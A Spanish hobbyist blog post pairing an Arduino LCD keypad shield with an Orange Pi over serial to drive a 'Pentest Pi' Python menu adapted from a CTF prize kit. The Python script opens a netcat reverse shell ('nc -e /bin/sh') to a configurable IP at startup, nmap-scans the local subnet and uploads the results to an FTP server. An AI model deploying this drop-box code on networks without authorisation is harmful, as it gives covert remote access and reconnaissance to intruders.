Hoy dejo un poco de lado los tutoriales sobre bash para traeros un pequeño DIY que surgió a raíz de la caja de The Hackers Garage que gané durante el CTF de la gente de Follow The White Rabbit.
En esta caja uno de los proyectos que incluía era la posibilidad de conectar un shield de Arduino, que traía una pantalla 16×2 LCD y botones, a una Orange pi y controlar la ejecución de un script de python utilizando la LCD y sus botones.
La mayor diferencia entre sus instrucciones y lo que hoy os traigo es que yo he acoplado el shield a un Arduino UNO ¿Qué significa esto? Pues que me olvido de tener que usar los GPIO de la Orange Pi y en cambio he conseguido una pantalla que se comunica a través del USB/Serial con cualquier dispositivo que lo soporte.
Antes de comenzar recordaros que no soy experto ni en Arduino ni en Python con lo cual el código que os presento a continuación es muy, muy mejorable; pero funciona jeje
Comencemos con el código del Arduino:
#include <LiquidCrystal.h> LiquidCrystal lcd(8, 9, 4, 5, 6, 7); // Seleccionamos los pines que utiliza la pantalla LCD //Definimos algunos valores que usaran el panel y los botones int adc_key_in = 0; #define btnRIGHT 0 #define btnUP 1 #define btnDOWN 2 #define btnLEFT 3 #define btnSELECT 4 #define btnNONE 5 //Estas variables nos ayudaran a controlar el input de los botones int button_count=0; int button_last=0; int read_LCD_buttons(){ // Funcion para leer el input de los botones adc_key_in = analogRead(0); // Leemos el valor del sensor //Estos valores son aproximados de los resultados que me envia el sensor. //No deberiais necesitar cambiarlos. if (adc_key_in > 1000) return btnNONE; if (adc_key_in < 50) return btnRIGHT; if (adc_key_in < 250) return btnUP; if (adc_key_in < 450) return btnDOWN; if (adc_key_in < 650) return btnLEFT; if (adc_key_in < 850) return btnSELECT; return btnNONE; // Cuando nos se cumple ninguno, enviamos este } void setup(){ lcd.begin(16, 2); // Inicializamos la pantalla LCD Serial.begin(9600); // Inicializamos el puerto serie Serial.setTimeout(100); // Reducimos el timeout del puerto serie para reducir el lag, quizás querais ajustarlo } void loop(){ // En caso de que se haya recibido algo por el puerto serie if (Serial.available()) { // Leemos el contenido en el buffer a un String, si no hemos modificado el timeout esto tarda 2.5 segundos String buff = Serial.readString(); if (buff == "clear_lcd") { // Si recibimos la orden "clear_lcd" borramos la pantalla lcd.clear(); } else { // Localizamos el separador "," int commaIndex = buff.indexOf(','); // Extraemos el mensaje a imprimir String message = buff.substring(0,commaIndex); // Extraemos la linea en que queremos escribir el mensaje int lcd_line = buff.substring(commaIndex+1).toInt(); // Movemos el cursos a la linea que deseamos lcd.setCursor(0,lcd_line); // Imprimimos el mensaje lcd.print(message); } } // Llamamos a la funcion para ver si se ha pulsado algun boton int button_pressed=read_LCD_buttons(); // En mi caso una pulsacion del boton enviaba aproximadamente 1000 el mismo resultado // para contabilizar una pulsacion y no 1000 utilizamos ciertas variables para controlarlo // En caso de que el boton sea igual que el anterior, se haya pulsado 1200 veces y no sea 5/Ninguno if (button_pressed == button_last && button_count == 1200 && button_pressed != 5){ // Enviamos el digito correspondiente al boton pulsado Serial.println(button_pressed); // Esperamos a que se limpie el buffer Serial.flush(); // Reinicializamos el contador de pulsaciones button_count = 0; } else if (button_pressed == button_last && button_pressed != 5){ // Si el boton es el mismo que se pulso anteriormente y no es 5/Ninguno, contamos una pulsacion button_count+=1; } else { // Si no se cumple nada de lo anterior reiniciamos el contador button_count = 0; } // Guardamos cual fue el ultimo boton pulsado para el siguiente ciclo button_last=button_pressed; }
He intentado comentarlo lo mejor posible para que se entienda pero cualquier duda no dudéis en dejarme un comentario.
Básicamente este script se divide en dos partes: input y output.
En la parte de input, que correspondería a la LCD, el Arduino esta escuchando en el puerto serial por un String con el formato «mensaje,linea», o bien, el comando «clear_lcd» para limpiar la pantalla.
Para el output el Arduino lee en cada ciclo el sensor analógico al que está enchufada la botonera y utiliza unos thresholds (que pueden variar en vuestro caso) para identificar que botón se ha pulsado. El mayor problema que me encontré en esta parte fue que una pulsación no se correspondía a un cambio único en el sensor, sino que varios ciclos ocurrían mientras yo pulsaba el botón haciendo que pareciese que estaba machacandolo en lugar de hacer una única pulsación, en mi caso el threshold con el que quedé más contento fue 1200, pero quizás queráis ajustarlo a vuestro gusto pero, recordad, a menos número, mayor sensibilidad.
Ahora pasemos al Python. La gente de The Hackers Garage nos da un script que utiliza los GPIO de la Orange Pi para comunicarse con la LCD y los botones, pero nosotros ya no necesitamos esto, así que toca modificar un poco el código:
#!/usr/bin/python import time from socket import socket, SOCK_STREAM, SOCK_DGRAM, AF_INET import string import re import os import sys import subprocess import serial import urllib #Used to display the Public IP address. from subprocess import PIPE import ftplib #Used to upload Nmap scan results to FTP server. from datetime import datetime # Used the genreate the filename used in the packet capture dump #Change thease values so that the dumped file is uploaded to your FTP server. ftp_server = "" ftp_username = "" ftp_password = "" #Reverse shell IP connectingClientIP = "127.0.0.1" # Button mapping #button_reset = connector.gpio1p40 #button_analog = connector.gpio1p38 # Define some device constants LCD_WIDTH = 16 # Maximum characters per line LCD_CHR = True LCD_CMD = False LCD_LINE_1 = 0 # LCD RAM address for the 1st line LCD_LINE_2 = 1 # LCD RAM address for the 2nd line # Timing constants E_PULSE = 0.0005 #E_DELAY = 0.0005 E_DELAY = 0.5 output = "NO" ser = serial.Serial('/dev/ttyACM0', 9600) global p def main(): # Main program block analog_pressed=5; socketMain = socket(AF_INET,SOCK_STREAM) lcd_init(ser) #Contains all modules which can be run on the device. The key is the displayed name on the LCD and the value is the function name modules = {'SSHTunnel status': 'reverseSSH', 'NMAP Scan&Upload': 'nmapScanUpload', 'ConnectivityTest': 'connectivityTest'} displayText = modules.keys() # Checks if the script has been run as root. if os.getuid() == 0: lcd_string("Pentest Pi",LCD_LINE_1) lcd_string("Select an option",LCD_LINE_2) else: lcd_string("Run the script",LCD_LINE_1) lcd_string("with root",LCD_LINE_2) try: cmd = "nc -e /bin/sh " + connectingClientIP + " 22" global p p = subprocess.Popen(cmd, shell=True, stdout = subprocess.PIPE) print "Reverse shell connecting.." except OSError as e: print >>sys.stderr, "Execution failed:", e while True: value_out = 0 menuOption = 0 analog_pressed = read_button(ser) if (analog_pressed == 4): time.sleep(0.5) lcd_clear() lcd_string(displayText[menuOption], LCD_LINE_1) lcd_string("<previous next>", LCD_LINE_2) while True: analog_pressed = read_button(ser) #reset_pressed = gpio.input(button_reset if (analog_pressed == 0): menuOption = menuOption + 1 if menuOption > len(modules) - 1: menuOption = 0 lcd_clear() lcd_string(displayText[menuOption], LCD_LINE_1) lcd_string("<previous next>", LCD_LINE_2) time.sleep(0.5) if (analog_pressed == 3): menuOption = menuOption - 1 if menuOption < 0: menuOption = len(modules) - 1 lcd_clear() lcd_string(displayText[menuOption], LCD_LINE_1) lcd_string("<previous next>", LCD_LINE_2) time.sleep(0.5) if (analog_pressed == 4): globals().get(modules[displayText[menuOption]])() time.sleep(0.5) break def read_button(ser): if ser.in_waiting: button=ser.readline() return int(button) def lcd_init(ser): # Initialise display ser.write("clear_lcd") time.sleep(2) def lcd_clear(): ser.write("clear_lcd") time.sleep(E_DELAY) def getPublicIP(): publicIPUrl = urllib.urlopen("http://ipinfo.io/ip") publicIPre = re.findall( r'[0-9]+(?:\.[0-9]+){3}', publicIPUrl.read()) return publicIPre[0] def getPrivateIP(): s = socket(AF_INET, SOCK_DGRAM) s.connect(('google.com', 0)) privateIp = s.getsockname() return privateIp[0] def reverseSSH(): global p p.poll() print 'Reverse Shell Status' if p.returncode == None: lcd_string("Shell Started",LCD_LINE_1) lcd_string(connectingClientIP,LCD_LINE_2) else: lcd_string("Shell Failed",LCD_LINE_1) lcd_string(connectingClientIP,LCD_LINE_2) functionBreak() def nmapScanUpload(): print 'Nmap Scan & Upload' ipToScan = getPrivateIP() #Generates the ip address that can be fed into the nmap command. This simple replaces the 4th octet with a 0 and appends a /24 to scan the class C subnet. ipToScan = ipToScan[:string.rfind(ipToScan, '.') + 1] + '0/24' index = string.rfind(ipToScan, '.') print index print ipToScan #Starts the bridge interface and sets the display. nmapScan = subprocess.Popen('nmap ' + ipToScan + ' -oN nmapoutput.txt', shell=True, stderr=PIPE) lcd_clear() lcd_string("Running",LCD_LINE_1) lcd_string("Nmap Scan",LCD_LINE_2) error = nmapScan.communicate() errorCheck(error, 'NMAP Failed', 'Scan Complete') lcd_clear() lcd_string("Scan",LCD_LINE_1) lcd_string("Complete",LCD_LINE_2) time.sleep(1) lcd_clear() lcd_string("Uploading",LCD_LINE_1) lcd_string("File",LCD_LINE_2) #Starts FTP session ftpSession = ftplib.FTP(ftp_server, ftp_username, ftp_password) #ftpSession.cwd('nmap') #Opens file to be uploaded file = open('nmapoutput.txt', 'rb') #Uploads the File ftpSession.storbinary('STOR nmapoutput.txt', file) file.close() ftpSession.quit() lcd_clear() lcd_string("Upload",LCD_LINE_1) lcd_string("Successful",LCD_LINE_2) time.sleep(3) functionBreak() def connectivityTest(): print 'Connectivity Test' #Pings google.com thePing = subprocess.Popen('ping -c 5 google.com', shell=True, stdout=PIPE, stderr=PIPE) lcd_clear() lcd_string("Testing",LCD_LINE_1) lcd_string("Connectivity",LCD_LINE_2) pingOut, pingErr = thePing.communicate() #If the ping fails ping 8.8.8.8 lcd_clear() if len(pingErr) > 0: thePing = subprocess.Popen('ping -c 5 8.8.8.8', shell=True, stdout=PIPE, stderr=PIPE) pingOut, pingErr = thePing.communicate() print 1 #If pinging 8.8.8.8 fails display there is no internet connection if len(pingErr) > 0: lcd_string("No Internet",LCD_LINE_1) lcd_string("Connection",LCD_LINE_2) print 2 #If pinging 8.8.8.8 succeeds, display there is no DHCP service available for the SlyPi to use. else: lcd_string("No DHCP",LCD_LINE_1) lcd_string(" Available",LCD_LINE_2) print 3 functionBreak() else: privateIP = getPrivateIP() publicIP = getPublicIP() print privateIP print publicIP #Displays the public and private IP addresses on the LED screen. lcd_string(privateIP,LCD_LINE_1) lcd_string(publicIP,LCD_LINE_2) time.sleep(3) functionBreak() def functionBreak(): while read_button(ser): os.execl('/home/kalrong/thg.py', '') def errorCheck(error, failedMessage, succeedMessage): lcd_clear() if 'brctl: not found' in error: lcd_string("Failed",LCD_LINE_1) lcd_string("Install brctl",LCD_LINE_2) elif len(error[1]) == 0: lcd_string(succeedMessage,LCD_LINE_1) time.sleep(3) elif len(error[1]) > 0: lcd_string(failedMessage,LCD_LINE_1) time.sleep(2) error = 0 def lcd_string(message,line): # Send string to display message = message.ljust(LCD_WIDTH," ") ser.write(bytes(message+","+str(line))) time.sleep(E_DELAY) if __name__ == '__main__': try: main() except KeyboardInterrupt: pass finally: lcd_clear() lcd_string("Goodbye!",LCD_LINE_1) ser.close()
Si tenéis la misma caja quizás os hayáis encontrado con el mismo problema que yo, y es que las funciones de connectivityTest y reverseSSH no funcionaban como se esperaba, en el código de arriba he solucionado dichos problemas.
Como podéis ver en el código para la comunicación con el Arduino utilizamos la librería Serial de python (pip install pyserial) y utilizamos las funciones lcd_string, lcd_init, lcd_clear y read_button para interactuar con el mismo.
Para evitar modificar demasiado el código y que se pudieran hacer comparaciones he reutilizado lo máximo el código que se nos da, como por ejemplo las constantes LCD_LINE que especifican la linea de la pantalla donde deseamos imprimir. Por pura estética también he añadido un mensaje de previous/next en el menú.
Una vez hayamos cargado el código en nuestro Arduino debemos editar el código para especificarle el puerto serial donde está nuestro Arduino en la variable «ser». Si todo ha ido bien ahora podremos ejecutar el script y veremos como se van mostrando mensajes en nuestra LCD.
Para acceder al menú pulsaremos el botón Select y luego navegaremos con los botones de derecha e izquierda por el menú y seleccionamos nuevamente con Select.
¿Problemas? Principalmente la latencia que se genera en la comunicación por el puerto serie, como veis no he implementado ningún tipo de ACK por ninguna de las dos partes así que se utilizan sleeps en el código python para controlar esta latencia. En mi caso a veces necesito reiniciar el Arduino ya que se «laggea» y no muestra los mensajes correctamente.
Otra vez insistir que esto es un simple POC y el código se puede mejorar muchísimo jeje
Un par de fotos de la LCD funcionando:
La primera opción del menú:
Resultado del check de la reverse shell:
Mensaje de inicio del script:
Espero os haya gustado y cualquier duda o pregunta dejadme un comentario y contestaré en cuanto pueda.
Saludos y, como siempre, gracias por vuestra visita!
Mención especial a Javi del grupo de Telegram de los conejos que me «instigó» de forma indirecta a realizar este proyecto jeje